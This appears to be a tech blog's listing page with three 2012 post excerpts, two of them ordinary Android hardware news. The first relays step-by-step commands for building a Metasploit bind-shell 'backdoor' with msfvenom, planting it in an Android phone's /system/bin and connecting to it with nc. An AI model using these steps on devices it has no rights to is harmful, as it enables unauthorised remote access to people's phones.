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Posted by on Oct 5, 2012 in Infosec, Malware | 0 comments

A simple android shell with Metasploit

A simple android shell with Metasploit

_anUBiS a respected member of the corrupt a computer security forum has posted method to open a android shell with metasploit framework. The steps given by him are as follows, 1) Create ARM executable msfvenom -p linux/armle/shell_bind_tcp -f elf LPORT=6666 > /tmp/backdoor 2) Mount your android /system/bin dir for r/wI used “Root Explorer” app for this. There are other ways to do it. 3) Copy /tmp/backdoor (from Backtrack) to /system/bin/backdoor (your phone) and chmod 777 4) Run ‘backdoor’ on your phone. (Use a terminal emulator, or find any other way  ) 5) Connect to phone nc your.phone.ip.address 6666 6) When connection is established, set PATH variable PATH=/system/bin He further says it still needs root permission plant this, and shell does not listen persistently, so when we disconnect,  the file must be run again on the phone. Source :...

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Posted by on Jun 11, 2012 in Android Mobile, Gadgets, Mobiles | 0 comments

Multi-Core Processor for Android is waste, says Intel !!

Multi-Core Processor for Android is waste, says Intel !!

Pic : Lava’s XOLO 900 powered by intel’s Medfield SOC Chip giant Intel made a statement lately which could send shock waves in tech world of SOC’s, Smartphones and their Operating System’s. Mike Bell, GM, Intel’s Mobile and Communications Group in justifying for their late entry into smartphone SOC’s with a single-core ‘Medifield’ Atom processor while other players like Nvidia, Samsung, Qualcomm, TI have dual-core and quad-core chips said,  “The way it’s implemented right now, Android does not make as effective use of multiple cores as it could, and I think – frankly -some of this work could be done by the vendors who create the SoCs, but they just haven’t bothered to do it.” Intel’s internal testing states that using the second core on a dual-core chip from any other manufacturer actually results in decreased performance versus using a single core. Multi-core implementations were found slower than single-core implementations. “If you take a look a lot of handsets on the market, when you turn on the second core...

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Posted by on May 31, 2012 in Android Mobile, Gadgets, Mobiles | 0 comments

Canadian version of Samsung Galaxy S3 to have S4 CPU and 2GB RAM

Canadian version of Samsung Galaxy S3 to have S4 CPU and 2GB RAM

Latest Android Super Phone Galaxy S3 It seems Samsung has decided to change the hardware for it’s canadian version of  Galaxy S3 to provide LTE. Samsung today announced version of Galaxy S3 one with LTE and other DC-HSPA +42Mbps, both powered by Qualcomm’s MSM8960 Snapdragon S4 SOC at 1.5 GHz as seen on HTC One X(AT&T) and One S. Samsung has added in 2GB RAM for these phones unlike the international version of S3 which has 1 GB RAM.I am not sure whether this has been done due to technical implications of changed SOC or to differentiate it’s hardware from HTC One X and HTC one S which are already available in these markets. See the Galaxy SIII variants chart provided by Anand Tech...

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